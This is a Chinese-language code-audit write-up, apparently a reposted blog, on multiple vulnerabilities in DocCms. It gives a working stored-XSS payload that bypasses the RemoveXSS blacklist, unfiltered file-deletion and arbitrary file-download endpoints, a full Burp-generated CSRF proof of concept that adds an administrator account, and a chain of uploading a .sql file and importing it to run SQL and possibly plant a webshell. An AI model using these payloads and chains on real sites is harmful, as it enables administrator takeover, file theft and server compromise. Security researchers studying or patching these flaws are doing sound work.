DocCms存储型XSS+后台任意文件下载上传+目录删除+sql执行(有条件可getshell)

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DocCms存储型XSS+后台任意文件下载上传+目录删除+sql执行(有条件可getshell)相关的知识,希望对你有一定的参考价值。

下载链接

https://share.weiyun.com/46ebceb4fe91da144ad2661522a941e1

留言处存储型XSS

漏洞在content/guestbook/index.php

function create()
{
    echo 123;
    global $db,$request;
    if ($_SESSION[‘verifycode‘] != $request[‘checkcode‘])
    {
        echo ‘<script>alert("请正确填写验证码!");location.href="javascript:history.go(-1)";</script>‘;
        exit;
    }
    
    foreach ($request as $k=>$v)
    {
        $request[$k]=RemoveXSS($v);
    }
    
    require(ABSPATH.‘/admini/models/guestbook.php‘);
    $guestbook = new guestbook();
    $guestbook->addnew($request);
    $guestbook->[email protected]implode(‘<|@|>‘,$request[‘custom‘]);
    $guestbook->dtTime=date(‘Y-m-d H:i:s‘);
    $guestbook->channelId=$request[‘p‘];
    $guestbook->ip=$_SERVER[‘REMOTE_ADDR‘];
    $guestbook->uid=$_SESSION[TB_PREFIX.‘user_ID‘];

    if($guestbook->save())
    {
        if(guestbookISON)
        {
            sys_mail(‘ 留言提醒‘,‘最新留言提醒:您的网站:<a href="http://‘.WEBURL.‘">‘.WEBURL.‘</a> 有最新留言,请及时前往审核回复!‘);
        }
        echo ‘<script>alert("恭喜,您的留言已提交成功,工作人员会及时回复!");window.location.href="‘.sys_href($request[‘p‘]).‘";</script>‘;
        exit;
    }
    else
    {
        echo ‘<script>alert("对不起,系统错误,您的留言未能及时提交,请电话与我们联系。");window.location.href="‘.sys_href($request[‘p‘]).‘";</script>‘;
        exit;
    }
}

跟进RemoveXSS函数

//inc/function.php 505-507行
$ra1 = Array(‘javascript‘, ‘vbscript‘, ‘expression‘, ‘applet‘, ‘meta‘, ‘xml‘, ‘blink‘, ‘link‘, ‘style‘, ‘script‘, ‘embed‘, ‘object‘, ‘iframe‘, ‘frame‘, ‘frameset‘, ‘ilayer‘, ‘layer‘, ‘bgsound‘, ‘title‘, ‘base‘); 
$ra2 = Array(‘onabort‘, ‘onactivate‘, ‘onafterprint‘, ‘onafterupdate‘, ‘onbeforeactivate‘, ‘onbeforecopy‘, ‘onbeforecut‘, ‘onbeforedeactivate‘, ‘onbeforeeditfocus‘, ‘onbeforepaste‘, ‘onbeforeprint‘, ‘onbeforeunload‘, ‘onbeforeupdate‘, ‘onblur‘, ‘onbounce‘, ‘oncellchange‘, ‘onchange‘, ‘onclick‘, ‘oncontextmenu‘, ‘oncontrolselect‘, ‘oncopy‘, ‘oncut‘, ‘ondataavailable‘, ‘ondatasetchanged‘, ‘ondatasetcomplete‘, ‘ondblclick‘, ‘ondeactivate‘, ‘ondrag‘, ‘ondragend‘, ‘ondragenter‘, ‘ondragleave‘, ‘ondragover‘, ‘ondragstart‘, ‘ondrop‘, ‘onerror‘, ‘onerrorupdate‘, ‘onfilterchange‘, ‘onfinish‘, ‘onfocus‘, ‘onfocusin‘, ‘onfocusout‘, ‘onhelp‘, ‘onkeydown‘, ‘onkeypress‘, ‘onkeyup‘, ‘onlayoutcomplete‘, ‘onload‘, ‘onlosecapture‘, ‘onmousedown‘, ‘onmouseenter‘, ‘onmouseleave‘, ‘onmousemove‘, ‘onmouseout‘, ‘onmouseover‘, ‘onmouseup‘, ‘onmousewheel‘, ‘onmove‘, ‘onmoveend‘, ‘onmovestart‘, ‘onpaste‘, ‘onpropertychange‘, ‘onreadystatechange‘, ‘onreset‘, ‘onresize‘, ‘onresizeend‘, ‘onresizestart‘, ‘onrowenter‘, ‘onrowexit‘, ‘onrowsdelete‘, ‘onrowsinserted‘, ‘onscroll‘, ‘onselect‘, ‘onselectionchange‘, ‘onselectstart‘, ‘onstart‘, ‘onstop‘, ‘onsubmit‘, ‘onunload‘); 
$ra = array_merge($ra1, $ra2);
$replacement = substr($ra[$i], 0, 2).‘<x>‘.substr($ra[$i], 2);
不是删除也不是转义,这就有趣了,他会在检测到敏感字符后,在中间会加一个<x>,这种我还是第一次见。不过没关系,过滤这么多仍然可以绕过,因为是黑名单过滤,我大javascript岂止这些事件?随便拿出个绕一绕

像往常一样输入XSS代码然后进入后台查看过滤了哪些

技术分享

后台查看源代码

技术分享

我们插入的代码是

<script>alert(0)</script>
程序过滤后是:

<sc<x>ript>alert(0)</sc<x>ript> 

经过fuzz后,还有这些关键字没被过滤掉

技术分享

此时oncanplay事件是无疑是最好的,因为他无需交互,打开直接执行代码,并支持所有浏览器

xsspayload:
<video width="0" height="0" oncanplay="(function(){alert(1)})();">
<source src="http://www.runoob.com/try/demo_source/mov_bbb.mp4" type="video/mp4">
</video>

技术分享

任意文件删除

在模板上传的地方

index.php?m=system&s=changeskin&a=delete&skinname=doccms_model_1

在admini\\controllers\\system\\changeskin.php  521-530

function deleteFile(){
    global $request;
    $dirPath = get_abs_skin_root().filter_submitpath( $request[‘dirPath‘] );
    if(is_file($dirPath)){
        @unlink($dirPath);
        exit(‘1::delete ok‘);
    }else{
        exit(‘0::Forbidden‘);
    }
}
没有进行任何过滤 导致可删除一个目录下所有文件

任意文件上传(鸡肋)
admini/index.php?m=system&s=changeskin&a=upload_templat
 1 function upload_template()
 2 {
 3     global $error;
 4     //unzip(ABSPATH.‘/‘.SKINROOT,$_FILES["upfile"][tmp_name],$_FILES["upfile"][name])==1;
 5 
 6     //把模版先暂时上传在系统根目录的TEMP文件夹里,解决safe_mode On时无法上传在环境文件夹下
 7     //suny.2008.10.16
 8     $upload = new Upload(10000,‘/temp/‘);
 9     $fileName = $upload->SaveFile(‘upfile‘);
10     if(is_file(ABSPATH.‘/temp/‘.$fileName))
11     {    //die(ABSPATH.‘/temp/‘.$fileName);
12         if(unzip(ABSPATH.‘/‘.SKINROOT,ABSPATH.‘/temp/‘.$fileName,ABSPATH.‘/temp/‘.$fileName)==1)
13         echo ‘<script language="javascript">alert("安装成功!");history.back(1);</script>‘;
14         elseif(unzip(ABSPATH.‘/‘.SKINROOT,ABSPATH.‘/temp/‘.$fileName,ABSPATH.‘/temp/‘.$fileName)==0)
15         echo ‘<script language="javascript">alert("安装失败!");history.back(1);</script>‘;
16         else
17         echo ‘<script language="javascript">alert("此文件不是ZIP格式!");history.back(1);</script>‘;
18     }
19     else
20     {
21         echo ‘<script language="javascript">alert("文件上传失败!");history.back(1);</script>‘;
22     }
23     redirect(‘?m=system&s=changeskin‘);
24 }

第12行上传后直接就解压了在skins/目录生成压缩包中的文件  不过php没有执行权限

原因是根目录.htaccess有限制 测试自己上传.htaccess 在data目录下导致服务器500错误

也没有找到任意文件删除能删除掉根目录的文件

CSRF

添加管理员的地方没有refer和token验证 所以可以利用csrf

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState(‘‘, ‘‘, ‘/‘)</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\\/\\/localhost\\/admini\\/index.php?m=system&s=userinfo&a=create", true);
        xhr.setRequestHeader("Accept", "text\\/html,application\\/xhtml+xml,application\\/xml;q=0.9,image\\/webp,*\\/*;q=0.8");
        xhr.setRequestHeader("Content-Type", "multipart\\/form-data; boundary=----WebKitFormBoundarytcuE3OVEuZLJP8x4");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundarytcuE3OVEuZLJP8x4\\r\\n" + 
          "Content-Disposition: form-data; name=\\"image\\"\\r\\n" + 
          "\\r\\n" + 
          "\\r\\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\\r\\n" + 
          "Content-Disposition: form-data; name=\\"uploadfile\\"; filename=\\"\\"\\r\\n" + 
          "Content-Type: application/octet-stream\\r\\n" + 
          "\\r\\n" + 
          "\\r\\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\\r\\n" + 
          "Content-Disposition: form-data; name=\\"username\\"\\r\\n" + 
          "\\r\\n" + 
          "fuckyou\\r\\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\\r\\n" + 
          "Content-Disposition: form-data; name=\\"pwd\\"\\r\\n" + 
          "\\r\\n" + 
          "fuckyou\\r\\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\\r\\n" + 
          "Content-Disposition: form-data; name=\\"repwd\\"\\r\\n" + 
          "\\r\\n" + 
          "fuckyou\\r\\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\\r\\n" + 
          "Content-Disposition: form-data; name=\\"nickname\\"\\r\\n" + 
          "\\r\\n" + 
          "\\r\\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\\r\\n" + 
          "Content-Disposition: form-data; name=\\"role\\"\\r\\n" + 
          "\\r\\n" + 
          "9\\r\\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\\r\\n" + 
          "Content-Disposition: form-data; name=\\"auditing\\"\\r\\n" + 
          "\\r\\n" + 
          "0\\r\\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\\r\\n" + 
          "Content-Disposition: form-data; name=\\"name\\"\\r\\n" + 
          "\\r\\n" + 
          "\\r\\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\\r\\n" + 
          "Content-Disposition: form-data; name=\\"sex\\"\\r\\n" + 
          "\\r\\n" + 
          "1\\r\\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\\r\\n" + 
          "Content-Disposition: form-data; name=\\"qq\\"\\r\\n" + 
          "\\r\\n" + 
          "\\r\\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\\r\\n" + 
          "Content-Disposition: form-data; name=\\"msn\\"\\r\\n" + 
          "\\r\\n" + 
          "\\r\\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\\r\\n" + 
          "Content-Disposition: form-data; name=\\"email\\"\\r\\n" + 
          "\\r\\n" + 
          "[email protected]\\r\\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\\r\\n" + 
          "Content-Disposition: form-data; name=\\"mtel\\"\\r\\n" + 
          "\\r\\n" + 
          "\\r\\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\\r\\n" + 
          "Content-Disposition: form-data; name=\\"address\\"\\r\\n" + 
          "\\r\\n" + 
          "\\r\\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4--\\r\\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

任意文件下载

在数据库还原的地方点击下载

admini/index.php?m=system&s=bakup&a=download&filename=doccms_20170806_520985_1.sql

在admini\\controllers\\system\\bakup.php 

function download()
{
    global $request;
    if(!empty($request[‘filename‘]))
    {    //die(ABSPATH.‘/temp/data/‘.$request[‘filename‘]);
        file_down(ABSPATH.‘/temp/data/‘.$request[‘filename‘]);
    }
    else
    {
         echo ‘<script>alert("文件名不能为空!");window.history.go(-1);</script>‘;
    }
}

跟进file_down函数

function file_down($file,$filename=‘‘)
{
    if(is_file($file))
    {
        $filename = $filename ? $filename : basename($file);
        $filetype = fileext($filename);
        $filesize = filesize($file);
        header(‘Cache-control: max-age=31536000‘);
        header(‘Expires: ‘.gmdate(‘D, d M Y H:i:s‘, time() + 31536000).‘ GMT‘);
        header(‘Content-Encoding: none‘);
        //header(‘Content-Length: ‘.$filesize);
        header(‘Content-Disposition: attachment; filename=‘.$filename);
        header(‘Content-Type: ‘.$filetype);
        readfile($file);
    }
    else
    {
        echo ‘<script>alert("文件不存在!");window.history.go(-1);</script>‘;
    }
    exit;
}

没有进行过滤导致任意文件下载

鸡肋任意文件上传+SQL语句执行

技术分享

数据库文件上传的地方

function uploadsql()
{    
    global $request;
    $uploadfile=basename($_FILES[‘uploadfile‘][‘name‘]);
    //die($uploadfile);
    if($_FILES[‘userfile‘][‘size‘]>$request[‘max_file_size‘])
        echo ‘<script>alert("您上传的文件超出了2M的限制!");window.history.go(-1);</script>‘;
    if(fileext($uploadfile)!=‘sql‘) 
        echo ‘<script>alert("只允许上传sql格式文件!");window.history.go(-1);</script>‘;
    $savepath = ABSPATH.‘/temp/data/‘.$uploadfile;
    
    if(move_uploaded_file($_FILES[‘uploadfile‘][‘tmp_name‘], $savepath))
    {    //die($savepath);
         echo ‘<script>alert("数据库SQL脚本文件上传成功!");window.history.go(-1);</script>‘;
    }
    else
    {
        echo ‘<script>alert("数据库SQL脚本文件上传失败!");window.history.go(-1);</script>‘;
    }
}

只是echo 并没有exit

这样还是会上传成功  然而上传.php文件还是无法执行

但是在导入的函数的地方

 1 function import()
 2 {
 3     global $db,$request;
 4     $pre=$request[‘pre‘];
 5     if($request[‘dosubmit‘])
 6      { // die("test");
 7         if($request[‘filename‘] && fileext($request[‘filename‘])==‘sql‘)
 8         {
 9             $filepath = ABSPATH.‘/temp/data/‘.$filename;
10             if(!is_file($filepath)) 
11                   echo ‘<script>alert("文件不存在!");window.history.go(-1);</script>‘;
12             $sql = file_get_contents($filepath);
13             die($sql);
14             sql_execute($sql);
15               echo ‘<script>alert("‘.$filename.‘中的数据已经成功导入到数据库!");window.history.go(-1);</script>‘;
16         }
17         else
18         {    //die("test");
19             $fileid = isset($request[‘fileid‘]) ? $request[‘fileid‘] : 1;
20             $filename = $request[‘pre‘].$fileid.‘.sql‘;
21             $filepath = ABSPATH.‘/temp/data/‘.$filename;
22             //die($filepath);
23             if(is_file($filepath))
24             {
25                 $sql = file_get_contents($filepath);//将整个文件读入一个字符串
26                 //die($sql);
27                 sql_execute($sql);
28                 $fileid++;
29                 echo ‘<script>alert("数据文件‘.$filename.‘导入成功!");window.location.href="?m=system&s=bakup&a=import&pre=‘.$pre.‘&fileid=‘.$fileid.‘&dosubmit=1";</script>‘;        
30                         
31             }
32             else
33             {
34                 echo ‘<script>alert("数据库恢复成功!");window.location.href="?m=system&s=bakup&a=import";</script>‘;
35             }
36         }
37      }
38 }

17-27行的意思就是 读取.sql文件中的语句 然后逐行执行

这样我们可以上传.sql文件  里面写着写一句话的语句 如果有root权限的话可以拿shell

如果不是root权限  可以利用sql时间盲注操作(如果有搞数据库数据的必要 或者 可以拿来留xss后门)

 





以上是关于DocCms存储型XSS+后台任意文件下载上传+目录删除+sql执行(有条件可getshell)的主要内容,如果未能解决你的问题,请参考以下文章

[代码审计]Bycms v1.0存储型XSS一枚#

XSS

Ueditor最新版XML文件上传导致存储型XSS

极致CMS两处漏洞复现/存储xss/文件上传Getshell

存储型xss漏洞

通过上传Word文档造成存储型XSS:案例研究